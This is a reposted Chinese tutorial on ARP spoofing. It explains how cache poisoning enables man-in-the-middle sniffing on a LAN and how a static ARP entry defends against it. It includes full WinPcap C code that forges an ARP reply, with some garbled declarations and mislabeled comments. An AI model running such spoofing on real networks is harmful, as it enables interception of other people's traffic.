ARP欺騙(原始通訊端系列八)

來源:互聯網
上載者:User

標籤:des   style   class   code   http   tar   

ARP欺騙的原理可簡單的解釋如下:假設有三台主機A,B,C位於同一個交換式區域網路中,監聽者處於主機A,而主機B,C正在通訊。現在A希望能嗅探到B->C的資料,於是A就可以偽裝成C對B做ARP欺騙--向B發送偽造的ARP應答包,應答包中IP地址為C的IP地址而MAC地址為A的MAC地址。 這個應答包會重新整理B的ARP緩衝,讓B認為A就是C,說詳細點,就是讓B認為C的IP地址映射到的MAC地址為主機A的MAC地址。這樣,B想要發送給C的資料實際上卻發送給了A,就達到了嗅探的目的。我們在嗅探到資料後,還必須將此資料轉寄給C,這樣就可以保證B,C的通訊不被中斷。以上就是基於ARP欺騙的嗅探基本原理,在這種嗅探方法中,嗅探者A實際上是插入到了B->C中,B的資料先發送給了A,然後再由A轉寄給C,其資料轉送關係如下所示:

  B----->A----->C 
  B<----A<------C

  Windows系統中緩衝了目前的MAC地址與IP地址之間的映射,通過arp -a命令可以獲得,如:


  筆者的電腦IP地址為192.168.1.2,通過網關192.168.1.1到達公網。當某人用"網路剪刀手"或"網路執法官"一類的軟體給筆者發送偽造的ARP報文後,筆者的Windows會緩衝一個錯誤的網關MAC地址。由於IP包最終要通過MAC地址定址到192.168.1.1網關進行轉寄,而本機對192.168.1.1 MAC地址的記錄已經是錯的了,這樣,IP包將無法到達網關,筆者將不能再串連Internet,這就是惱人的"網路剪刀手"的工作原理。如果受到了惡意的ARP欺騙,我們只需要將網關的IP地址與MAC地址在本機靜態繫結,運行如下命令:

  ARP -s 192.168.1.1 00-33-44-57-17-a3

  再看看此時的ARP緩衝:



  192.168.1.1一項由dynamic變成了static。

  實現ARP欺騙最重要的是要組建一個ARP報文並發送給要欺騙的目標主機,下面的原始碼示範了這個過程:

#define EPT_IP 0x0800/* type: IP*/
#define EPT_ARP 0x0806/* type: ARP */
#define EPT_RARP 0x8035/* type: RARP */
#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001/* ARP request */
#define ARP_REPLY 0x0002/* ARP reply */ 
#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr
{
 unsigned chareh_dst[6]; /* destination ethernet addrress */
 unsigned chareh_src[6]; /* source ethernet addresss */
 unsigned shorteh_type; /* ethernet pachet type*/
} EHHDR, *PEHHDR;


typedef struct arphdr
{
 unsigned shortarp_hrd; /* format of hardware address */
 unsigned shortarp_pro; /* format of protocol address */
 unsigned chararp_hln; /* length of hardware address */
 unsigned chararp_pln; /* length of protocol address */
 unsigned shortarp_op; /* ARP/RARP operation */

 unsigned chararp_sha[6]; /* sender hardware address */
 unsigned longarp_spa; /* sender protocol address */
 unsigned chararp_tha[6]; /* target hardware address */
 unsigned longarp_tpa; /* target protocol address */
} ARPHDR, *PARPHDR;

typedef struct arpPacket
{
 EHHDRehhdr;
 ARPHDRarphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char *argv[])
{
 static char AdapterList[Max_Num_Adapter][1024];
 char szPacketBuf[600];
 char MacAddr[6];

 LPADAPTERlpAdapter;
 LPPACKETlpPacket;
 WCHARAdapterName[2048];
 WCHAR *temp, *temp1;
 ARPPACKET ARPPacket;

 ULONG AdapterLength = 1024;
 
 int AdapterNum = 0;
 int nRetCode, i;

 //Get The list of Adapter
 if (PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
 {
  printf("Unable to retrieve the list of the adapters!\n");
  return 0;
 }

 temp = AdapterName;
 temp1 = AdapterName;
 i = 0;
 while ((*temp != ‘\0‘) || (*(temp - 1) != ‘\0‘))
 {
  if (*temp == ‘\0‘)
  {
   memcpy(AdapterList[i], temp1, (temp - temp1) *2);
   temp1 = temp + 1;
   i++;
  }
  temp++;
 }

 AdapterNum = i;
 for (i = 0; i < AdapterNum; i++)
  wprintf(L "\n%d- %s\n", i + 1, AdapterList[i]);
  printf("\n");

 //Default open the 0
 lpAdapter = (LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[0]);
 //取第一個網卡

 if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
 {
  nRetCode = GetLastError();
  printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
  return 0;
 }

 lpPacket = PacketAllocatePacket();
 if (lpPacket == NULL)
 {
  printf("\nError:failed to allocate the LPPACKET structure.");
  return 0;
 }

 ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

 if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
 {
  printf("Get Mac address error!\n");
 }
 memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址

 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
 {
  printf("Get Mac address error!\n");
  return 0;
 }
 memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)

 ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

 ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
 ARPPacket.arphdr.arp_pro = htons(EPT_IP);
 ARPPacket.arphdr.arp_hln = 6;
 ARPPacket.arphdr.arp_pln = 4;
 ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

 if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
 {
  printf("Get Mac address error!\n");
  return 0;
 }
 memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC地址
 ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址

 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
 {
  printf("Get Mac address error!\n");
  return 0;
 }
 memcpy(ARPPacket.arphdr.arp_tha, MacAddr, 6); //目標A的MAC地址
 ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目標A的IP地址

 memcpy(szPacketBuf, (char*) &ARPPacket, sizeof(ARPPacket));
 PacketInitPacket(lpPacket, szPacketBuf, 60);

 if (PacketSetNumWrites(lpAdapter, 2) == FALSE)
 {
  printf("warning: Unable to send more than one packet ina single write ! \
n ");
 }

 if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE)
 {
  printf("Error sending the packets!\n"); return 0;
 }

 printf("Send ok!\n");

 // close the adapter and exit
 PacketFreePacket(lpPacket); 
 PacketCloseAdapter(lpAdapter); 
 return 0;
}


  上述程式中使用了著名的開放項目Winpcap(The Packet Capture and Network Monitoring Library for Windows)中的API,項目網址為:http://www.winpcap.org/。Winpcap是UNIX下的libpcap移植到Windows下的產物,工作於驅動(Driver)層,能以很高的效率進行網路操作。其提供的packet.dll中包含了多個功能強大的函數,我們聊舉幾例:

  LPPACKET PacketAllocatePacket(void);

  如果運行成功,返回一個_PACKET結構的指標,否則返回NULL。成功返回的結果將會傳送到PacketReceivePacket()函數,接收來自驅動的網路資料報。

  LPADAPTER PacketOpetAdapter(LPTSTR AdapterName);

  開啟一個網路介面卡。

  VOID PacketCloseAdapter(LPADAPTER lpAdapter);

  關閉參數中提供的網路介面卡,釋放相關的ADAPTER結構。

  VOID PacketFreePacket(LPPACKET lpPacket);

  釋放參數提供的_PACKET結構。

  BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize);

  返回可以得到的網路介面卡列表及描述。

  BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync);

  從NPF驅動程式讀取網路資料報及統計資訊。 

  資料報編碼結構: |bpf_hdr|data|Padding|bpf_hdr|data|Padding|
BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync);

  發送一個或多個資料報的副本。

  我們用Depends工具開啟pakcet.dll,如:


  目前,網路剪刀手、網路執法官的軟體在底層都用到了Winpcap。本節的常式代碼中,看不到關於socket的內容,實際上已經在Winpcap中實現了。Winpcap的原始碼可以直接在http://www.winpcap.org/下載。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.